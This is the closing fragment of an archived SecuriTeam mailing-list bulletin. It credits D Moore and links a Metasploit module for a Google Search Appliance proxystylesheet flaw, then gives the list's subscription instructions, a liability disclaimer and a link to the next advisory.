    D Moore.
    The original article can be found at:
    <http://metasploit.com/projects/Framework/modules/exploits/google_proxystylesheet_exec.pm> http://metasploit.com/projects/Framework/modules/exploits/google_proxystylesheet_exec.pm

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.


  • Next message: SecuriTeam: "[NEWS] Google Search Appliance Proxystyle*** XSLT Multiple Vulnerabilities (XSS, Information disclosure, Java Code Execution)"
  • Quantcast